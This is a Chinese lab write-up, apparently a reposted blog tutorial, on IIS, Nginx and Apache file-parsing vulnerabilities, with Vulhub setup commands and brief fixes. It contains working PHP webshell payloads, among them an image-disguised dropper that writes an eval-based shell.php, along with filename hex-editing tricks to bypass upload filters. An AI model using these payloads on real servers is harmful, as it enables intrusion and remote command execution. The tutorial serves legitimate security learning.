当前位置: 首页 > news >正文

文件解析漏洞--IIS--Vulhub

文件解析漏洞

一、IIS解析漏洞

用windowserver2003安装IIS测试

1.1 IIS6.X

方法一:目录解析

在网站下建立文件夹的名字为.asp/.asa的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

image-20240730164916230

1.txt文件里是asp文件的语法查看当前时间

image-20240730165151786

image-20240730165251530

方法二:畸形文件解析

​ 在IIS6处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx。

1.asp;.jpg文件内容为<%=now()%>

image-20240730165502527

image-20240730165616438

1.2 IIS7.X

​ 在IIS7.0和I1S7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在一个文件路径/xx.jpg后面加上/xx.php会将/xx.jpg/xx.php解析为 php 文件。

利用条件
  1. php.ini里的cgi.fix_pathinfo=1 开启
  2. lS7在Fast-CGl运行模式下
环境配置

下载phpstudy

网址:Windows版phpstudy下载 - 小皮面板(phpstudy) (xp.cn)

image-20240730170055760

步骤二:配置 php.ini文件,将cgi.fix_pathinfo=1 前;删除…并重启…

image-20240730170308000

配置IIS的网站

GetShell

步骤一:将PHP一句话木马写到1.php并更改后缀为1.jpg上传到目标站点…利用解析漏洞进行访问…

http://172.16.1.65:8980/1.jpg/.php

下面的1.jpg写的是phpinfo();

image-20240730170758495

第二步:用菜刀、蚁剑连接

1.3:修复方式

#1.程序方面
1、对新建目录文件名进行过滤,不允许新建包含.的文件夹。
2、取消网站后台新建目录的功能,不允许新建目录。#2.服务器方面
1、限制上传目录的脚本执行权限,不允许执行脚本。
2、过滤.asp/xm.jpg,通过ISApi组件过滤。 在httpd.ini加入了以下规则 ASP RewriteRule(.*).asp/(.*)/no.gif RewriteRule(.*).Asp/(.*)/no.gif RewriteRule(.*).aSp/(.*)/no.gif RewriteRule(.*).asP/(.*)/no.gif

二、Nginx解析漏洞

2.1:nginx_parsing

​ 这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。在一个文件/xx.jpg后面加上/.php会将/xx.jpg/xx.php 解析为 php 文件。

利用条件
  • Nginx <=0.8.37
  • cgi.fix_pathinfo=1
利用姿势

Nginx的文件解析漏洞…和I1S7.0的解析漏洞同样的原理,因为 cqi.fix pathinfo=1 造成的解析漏洞…

PS:同样使用1.jpg/.php 方式进行绕过…

案例

步骤一:进入以下Vulhub路径并开启容器…

cd /nginx/nginx_parsing_vulnerability
docker-compose up -d
docker ps -a

步骤二:浏览器中访问网站…

http://192.168.30.131/

image-20240730171709964

步骤三:制作图片码上传

image-20240730171830476

image-20240730171836862

访问图片位置,在后方加上/.php

http://192.168.30.131/uploadfiles/969bd13f5b5a5d582c2a6ef02212b1ae.jpg/.php

image-20240730171928197

步骤四:用蚁剑连接shell

image-20240730172047154

GetShell

步骤一:在shell.jpg中写入以下代码…

GIF89a<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

步骤二:上传该图片并访问…紧接着利用解析漏洞执行其中的PHP代码

http://192.168.30.131/uploadfiles/a7c3ce076585477741d951d179ab07dc.jpg/.php

访问jpg文件后缀加/.php解析成php执行

image-20240730173413299

然后访问shell.php页面为空

image-20240730173436198

蚁剑连接shell

image-20240730173505258

2.2:CVE-2013-4547

​ 此漏洞为文件名逻辑漏洞,该漏洞在上传图片时,修改其16进制编码可使其绕过策略,导致解析为php。当Nginx得到一个用户请求时,首先对url进行解析,进行正则匹配,如果匹配到以.php后缀结尾的文件名,会将请求的PHP文件交给PHP-CGI去解析。

影响版本

Nginx 0.8.411.4.3/1.5.01.5.7

利用姿势

步骤一:使用以下命令启动靶机并通过浏览器访问靶场页面.

cd vulhub-master/nginx/CVE-2013-4547x  //切换到靶机目录
docker-compose up -d     //打开环境
#靶场页面
http://101.42.118.221:8080#info.php
<?php phpinfo();?>

步骤二:直接上传 info.php 被拦截…

修改文件后缀为.jpg进行BP抓包上传—>filename在后面添加空格并给上.php 后,在16进制修改中将原本连个空格的 0x20 0x20 修改为如下即 0x20 0x00 进行发包…

image-20240730182936808

image-20240730183212194

放包后页面上传成功

image-20240730183236064

访问

http://192.168.30.131:8089/uploadfiles/shell.jpg%20%20.php

image-20240730183459480

抓包

image-20240730183527374

将%20%20替换成两空格,然后替换16进制从0x20 0x20 替换成0x20 0x00

image-20240730183714750

image-20240730183737683

放行,访问成功

image-20240730183801981

GetShell

如果上传

<?php @eval($_POST['cmd']);?>

里面有空格无法处理就会变成

image-20240730184050328

我们用这句话上传一个shell.php

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

用以上的方法加两个空格修改16进制即可

最后可以发现能访问到

image-20240730184457079

image-20240730184557046

蚁剑连接

image-20240730184634137

三、Apache解析漏洞

3.1:apache_parsing

在Apache1.x/2.x中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析就再往左判断。如1.php.xxxxx

利用姿势

步骤一:进入Vulhub靶场并执行以下命令启动靶场…

cd /root/vulhub/httpd/apache_parsing_vulnerability
vi docker-compose.yml 修改端口和版本号
docker-compose up -d

image-20240730185336766

步骤二:访问靶机并上传 shell.php.jpg 文件,文件内容为 phpinfo 函数

image-20240730185621458

image-20240730185631551

3.2:CVE-2017-15715

​ Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

影响版本

2.4.0~2.4.29

利用姿势

步骤一:进入Vulhub靶场并开启目标靶机,进行访问…

cd /root/vulhub/httpd/CVE-2017-15715
vi docker-compose.yml  //配置文件,修改端口和版本号
docker-compose up -d //开启

image-20240730190127043

访问

http://192.168.30.131:8091/

image-20240730190313421

步骤二:尝试上传一句话木马文件,发现被拦截…

然后抓包在evil.php后面加上空格,16进制0x20改成0x0a–>放包

image-20240730190639563

image-20240730190714926

访问evil.php文件

image-20240730190755689

蚁剑连接shell

image-20240730190818784

相关文章:

文件解析漏洞--IIS--Vulhub

文件解析漏洞 一、IIS解析漏洞 用windowserver2003安装IIS测试 1.1 IIS6.X 方法一&#xff1a;目录解析 在网站下建立文件夹的名字为.asp/.asa的文件夹&#xff0c;其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。 1.txt文件里是asp文件的语法查看当前时间 方…...

你知道缓存的这个问题到底把多少程序员坑惨了吗?

在现代系统中&#xff0c;缓存可以极大地提升性能&#xff0c;减少数据库的压力。 然而&#xff0c;一旦缓存和数据库的数据不一致&#xff0c;就会引发各种诡异的问题。 我们来看看几种常见的解决缓存与数据库不一致的方案&#xff0c;每种方案都有各自的优缺点 先更新缓存&…...

飞创直线模组桁架机械手优势及应用领域

随着工业自动化和智能制造的发展&#xff0c;直线模组桁架机械手极大地减轻了人类的体力劳动负担&#xff0c;在危险性、重复性高的作业环境中展现出了非凡的替代能力&#xff0c;引领着工业生产向自动化、智能化方向迈进。 一、飞创直线模组桁架机械手优势 飞创直线模组桁架…...

TongHttpServer 简介

1. 概述 随着网络技术的飞速发展,高并发大用户场景越来越普遍,单一应用服务节点已经不能满足并发需求,为了提高整个系统可靠性,扩展性,吞吐率,通常将多个应用服务器通过硬负载/软负载组成集群,负载均衡器根据不同负载算法将请求分发到各个应用服务器节点。 Tong…...

回溯法---组合总和

题目&#xff1a; 给你一个 无重复元素 的整数数组 candidates 和一个目标整数 target &#xff0c;找出 candidates 中可以使数字和为目标数 target 的 所有 不同组合 &#xff0c;并以列表形式返回。你可以按 任意顺序 返回这些组合。 candidates 中的 同一个 数字可以 无限…...

将Android Library项目发布到JitPack仓库

将项目代码导入Github 1.将本地项目目录初始化为 Git 仓库。 默认情况下&#xff0c;初始分支称为 main; 如果使用 Git 2.28.0 或更高版本&#xff0c;则可以使用 -b 设置默认分支的名称。 git init -b main 如果使用 Git 2.27.1 或更低版本&#xff0c;则可以使用 git symbo…...

JAVAWeb实战(后端篇)

因为前后端代码内容过多&#xff0c;这篇只写后端的代码&#xff0c;前端的在另一篇写 项目实战一&#xff1a; 1.创建数据库,表等数据 创建数据库 create database schedule_system 创建表&#xff0c;并添加内容 SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS 0;-- ---------…...

【vs】实用调试技巧——学会写优秀的代码!

&#x1f984;个人主页:小米里的大麦-CSDN博客 &#x1f38f;所属专栏:https://blog.csdn.net/huangcancan666/category_12718530.html ⚙️操作环境:Visual Studio 2022 目录 一、前言 二、什么是BUG&#xff1f; 三、调试是什么&#xff1f;有多重要&#xff1f; 一名优秀…...

数组声明方式

数组声明方式 一、 一维数组 元素数据类型[] 数组名; // 推荐元素数据类型 数组名[]; 二、 二维数组 元素数据类型[][] 数组名称; // 推荐元素数据类型 数组名称[][];元素数据类型[] 数组名称[]; 注&#xff1a; 对于第三种方式元素数据类型[] 数组名称[];&#xff0c;可…...

Docker中Docker网络-理解Docker0与自定义网络的使用示例

场景 CentOS7中Docker的安装与配置&#xff1a; CentOS7中Docker的安装与配置_centos docker sock-CSDN博客 在上面安装好Docker之后。 关于对Docker中默认docker0以及自定义网络的使用进行学习。 注&#xff1a; 博客&#xff1a;霸道流氓气质-CSDN博客 实现 理解dock…...

领域驱动大型结构之SYSTEM METAPHOR(系统隐喻)

在领域驱动设计&#xff08;Domain-Driven Design, DDD&#xff09;中&#xff0c;"System Metaphor" 是一种用于帮助开发团队和业务人员在理解和沟通系统时使用的概念模型。虽然 "System Metaphor" 并不是 DDD 的核心概念&#xff0c;但它在敏捷开发方法&…...

web前端开发一、VScode环境搭建

1、VScode安装live server插件&#xff0c;写完代码后&#xff0c;保存就会在浏览器自动更新&#xff0c;不需要再去浏览器点击刷新了 2、创建html文件 3、在文件中输入感叹号 &#xff01; 4、选择第一个&#xff0c;然后回车&#xff0c;就会自动输入html的标准程序 5、…...

DiAD代码use_checkpoint

目录 1、梯度检查点理解2、 torch.utils.checkpoint.checkpoint函数 1、梯度检查点理解 梯度检查点&#xff08;Gradient Checkpointing&#xff09;是一种深度学习优化技术&#xff0c;它的目的是减少在神经网络训练过程中的内存占用。在训练深度学习模型时&#xff0c;我们需…...

nginx出现Refused to apply inline style because it violates

Content Security Policy的错误。根据错误提示&#xff0c;nginx拒绝应用内联样式&#xff0c;因为它违反了内容安全策略&#xff08;Content Security Policy&#xff09;。内容安全策略是一种浏览器机制&#xff0c;用于防止潜在的安全漏洞&#xff0c;通过限制从外部来源加载…...

【中项第三版】系统集成项目管理工程师 | 第 11 章 规划过程组⑥ | 11.15 - 11.17

前言 第11章对应的内容选择题和案例分析都会进行考查&#xff0c;这一章节属于10大管理的内容&#xff0c;学习要以教材为准。本章上午题分值预计在15分。 目录 11.15 规划资源管理 11.15.1 主要输入 11.15.2 主要工具与技术 11.15.3 主要输出 11.16 估算活动资源 11.1…...

基础警务互联网app

智慧公安以大数据、云计算、人工智能、物联网和移动互联网技术为支撑&#xff0c;以“打、防、管、控”为目的&#xff0c;综合研判为核心&#xff0c;共享信息数据资源&#xff0c;融合业务功能&#xff0c;构建公安智慧大数据平台&#xff0c;实现公安信息数字化、网络化和智…...

为了方便写CURD代码,我在UTools写了个插件SqlConvert来生成代码!

-1. 前言 为了方便摸鱼&#xff0c;我之前写过一个通过sql生成代码的工具&#xff0c;但是服务器到期了&#xff0c;也就懒得重新部署了。 技术框架是 SpringBoot MybatisPlus Velocity Vue ElementUI Sql-ParseeSql-Parser-ui 0. Utools应用安装 官网地址: https://u.too…...

在国产芯片上实现YOLOv5/v8图像AI识别-【2.2】RK3588上C++开发环境准备及测试更多内容见视频

本专栏主要是提供一种国产化图像识别的解决方案&#xff0c;专栏中实现了YOLOv5/v8在国产化芯片上的使用部署&#xff0c;并可以实现网页端实时查看。根据自己的具体需求可以直接产品化部署使用。 B站配套视频&#xff1a;https://www.bilibili.com/video/BV1or421T74f 板子…...

2024数据资产入表财务实操手册

关注公众号《方案驿站》&#xff0c;并私信&#xff1a;2024数据资产入表财务实操手册&#xff0c;可获取本文pdf文件。...

react.16+

1、函数式组件 在vite脚手架中执行&#xff1a; app.jsx: import { useState } from react import reactLogo from ./assets/react.svg import viteLogo from /vite.svg import ./App.cssfunction App() {console.log(this)return <h2>我是函数式组件</h2> }exp…...

【JavaEE】-- HTTP

1. HTTP是什么&#xff1f; HTTP&#xff08;全称为"超文本传输协议"&#xff09;是一种应用非常广泛的应用层协议&#xff0c;HTTP是基于TCP协议的一种应用层协议。 应用层协议&#xff1a;是计算机网络协议栈中最高层的协议&#xff0c;它定义了运行在不同主机上…...

dedecms 织梦自定义表单留言增加ajax验证码功能

增加ajax功能模块&#xff0c;用户不点击提交按钮&#xff0c;只要输入框失去焦点&#xff0c;就会提前提示验证码是否正确。 一&#xff0c;模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...

抖音增长新引擎:品融电商,一站式全案代运营领跑者

抖音增长新引擎&#xff1a;品融电商&#xff0c;一站式全案代运营领跑者 在抖音这个日活超7亿的流量汪洋中&#xff0c;品牌如何破浪前行&#xff1f;自建团队成本高、效果难控&#xff1b;碎片化运营又难成合力——这正是许多企业面临的增长困局。品融电商以「抖音全案代运营…...

高等数学(下)题型笔记(八)空间解析几何与向量代数

目录 0 前言 1 向量的点乘 1.1 基本公式 1.2 例题 2 向量的叉乘 2.1 基础知识 2.2 例题 3 空间平面方程 3.1 基础知识 3.2 例题 4 空间直线方程 4.1 基础知识 4.2 例题 5 旋转曲面及其方程 5.1 基础知识 5.2 例题 6 空间曲面的法线与切平面 6.1 基础知识 6.2…...

数据链路层的主要功能是什么

数据链路层&#xff08;OSI模型第2层&#xff09;的核心功能是在相邻网络节点&#xff08;如交换机、主机&#xff09;间提供可靠的数据帧传输服务&#xff0c;主要职责包括&#xff1a; &#x1f511; 核心功能详解&#xff1a; 帧封装与解封装 封装&#xff1a; 将网络层下发…...

linux 下常用变更-8

1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行&#xff0c;YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID&#xff1a; YW3…...

微服务商城-商品微服务

数据表 CREATE TABLE product (id bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 商品id,cateid smallint(6) UNSIGNED NOT NULL DEFAULT 0 COMMENT 类别Id,name varchar(100) NOT NULL DEFAULT COMMENT 商品名称,subtitle varchar(200) NOT NULL DEFAULT COMMENT 商…...

让AI看见世界:MCP协议与服务器的工作原理

让AI看见世界&#xff1a;MCP协议与服务器的工作原理 MCP&#xff08;Model Context Protocol&#xff09;是一种创新的通信协议&#xff0c;旨在让大型语言模型能够安全、高效地与外部资源进行交互。在AI技术快速发展的今天&#xff0c;MCP正成为连接AI与现实世界的重要桥梁。…...

CRMEB 框架中 PHP 上传扩展开发:涵盖本地上传及阿里云 OSS、腾讯云 COS、七牛云

目前已有本地上传、阿里云OSS上传、腾讯云COS上传、七牛云上传扩展 扩展入口文件 文件目录 crmeb\services\upload\Upload.php namespace crmeb\services\upload;use crmeb\basic\BaseManager; use think\facade\Config;/*** Class Upload* package crmeb\services\upload* …...

Android15默认授权浮窗权限

我们经常有那种需求&#xff0c;客户需要定制的apk集成在ROM中&#xff0c;并且默认授予其【显示在其他应用的上层】权限&#xff0c;也就是我们常说的浮窗权限&#xff0c;那么我们就可以通过以下方法在wms、ams等系统服务的systemReady()方法中调用即可实现预置应用默认授权浮…...